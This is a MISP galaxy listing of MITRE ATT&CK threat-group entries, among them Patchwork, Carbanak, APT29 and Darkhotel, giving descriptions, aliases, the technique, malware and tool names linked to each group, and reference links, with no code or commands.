[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Patchwork - G0040"

Patchwork - G0040 is also known as:

Patchwork
Dropping Elephant
Chinastrats
MONSOON
Operation Hangover

Patchwork - G0040 has relationships with:

similar: misp-galaxy:threat-actor="Dropping Elephant" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="NDiskMonitor - S0272" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Unknown Logger - S0130" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="BADNEWS - S0128" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="AutoIt backdoor - S0129" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="TINYTYPHON - S0131" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 3002. Table References
Links
https://attack.mitre.org/groups/G0040
https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf
http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/
https://securelist.com/the-dropping-elephant-actor/75328/
https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf
http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf

Carbanak - G0008

[Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)

The tag is: misp-galaxy:mitre-intrusion-set="Carbanak - G0008"

Carbanak - G0008 is also known as:

Carbanak
Anunak
Carbon Spider

Carbanak - G0008 has relationships with:

similar: misp-galaxy:threat-actor="Anunak" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Carbanak - S0030" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"

Table 3003. Table References
Links
https://attack.mitre.org/groups/G0008
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/
https://www.crowdstrike.com/blog/state-criminal-address/

WIRTE - G0090

[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019)

The tag is: misp-galaxy:mitre-intrusion-set="WIRTE - G0090"

WIRTE - G0090 is also known as:

WIRTE

WIRTE - G0090 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"

Table 3004. Table References
Links
https://attack.mitre.org/groups/G0090
https://lab52.io/blog/wirte-group-attacking-the-middle-east/

PittyTiger - G0011

[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)

The tag is: misp-galaxy:mitre-intrusion-set="PittyTiger - G0011"

PittyTiger - G0011 is also known as:

PittyTiger

PittyTiger - G0011 has relationships with:

similar: misp-galaxy:threat-actor="Pitty Panda" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Lurid - S0010" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

Table 3005. Table References
Links
https://attack.mitre.org/groups/G0011
http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html

APT16 - G0023

[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)

The tag is: misp-galaxy:mitre-intrusion-set="APT16 - G0023"

APT16 - G0023 is also known as:

APT16

APT16 - G0023 has relationships with:

uses: misp-galaxy:mitre-malware="ELMER - S0064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1272" with estimative-language:likelihood-probability="almost-certain"

Table 3006. Table References
Links
https://attack.mitre.org/groups/G0023
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

APT17 - G0025

[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)

The tag is: misp-galaxy:mitre-intrusion-set="APT17 - G0025"

APT17 - G0025 is also known as:

APT17
Deputy Dog

APT17 - G0025 has relationships with:

similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Build social network persona - T1341" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331" with estimative-language:likelihood-probability="almost-certain"

Table 3007. Table References
Links
https://attack.mitre.org/groups/G0025
https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf

APT18 - G0026

[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)

The tag is: misp-galaxy:mitre-intrusion-set="APT18 - G0026"

APT18 - G0026 is also known as:

APT18
TG-0416
Dynamite Panda
Threat Group-0416

APT18 - G0026 has relationships with:

similar: misp-galaxy:threat-actor="Wekby" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Samurai Panda" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Maverick Panda" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="HTTPBrowser - S0070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Pisloader - S0124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="hcdLoader - S0071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3008. Table References
Links
https://attack.mitre.org/groups/G0026
http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/
https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop
https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop

APT29 - G0016

[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)

The tag is: misp-galaxy:mitre-intrusion-set="APT29 - G0016"

APT29 - G0016 is also known as:

APT29
YTTRIUM
The Dukes
Cozy Bear
CozyDuke

APT29 - G0016 has relationships with:

similar: misp-galaxy:threat-actor="APT 29" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="meek - S0175" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PinchDuke - S0048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Tor - S0183" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="CozyCar - S0046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="CloudDuke - S0054" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PowerDuke - S0139" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="GeminiDuke - S0049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="CosmicDuke - S0050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="MiniDuke - S0051" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="HAMMERTOSS - S0037" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="POSHSPY - S0150" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="OnionDuke - S0052" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="SeaDuke - S0053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 3009. Table References
Links
https://attack.mitre.org/groups/G0016
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf
https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html
https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/

Darkhotel - G0012

[Darkhotel](https://attack.mitre.org/groups/G0012) is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)

The tag is: misp-galaxy:mitre-intrusion-set="Darkhotel - G0012"

Darkhotel - G0012 is also known as:

Darkhotel

Darkhotel - G0012 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 3010. Table References
Links
https://attack.mitre.org/groups/G0012
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf

Molerats - G0021

[Molerats](https://attack.mitre.org/groups/G0021) is a politically-motivated threat group that has been operating since 2012. The group’s victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2)

The tag is: misp-galaxy:mitre-intrusion-set="Molerats - G0021"

Molerats - G0021 is also known as:

Molerats
Operation Molerats
Gaza Cybergang

Molerats - G0021 has relationships with:

similar: misp-galaxy:threat-actor="Molerats" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="DustySky - S0062" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"

Table 3011. Table References
Links
https://attack.mitre.org/groups/G0021
https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf
http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf
https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html

admin@338 - G0018

[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)

The tag is: misp-galaxy:mitre-intrusion-set="admin@338 - G0018"

admin@338 - G0018 is also known as:

admin@338

admin@338 - G0018 has relationships with:

similar: misp-galaxy:threat-actor="Temper Panda" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="BUBBLEWRAP - S0043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="LOWBALL - S0042" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"

Table 3012. Table References
Links
https://attack.mitre.org/groups/G0018
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

APT19 - G0073

[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China’s Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)

The tag is: misp-galaxy:mitre-intrusion-set="APT19 - G0073"

APT19 - G0073 is also known as:

APT19
Codoso
C0d0so0
Codoso Team
Sunshop Group

APT19 - G0073 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
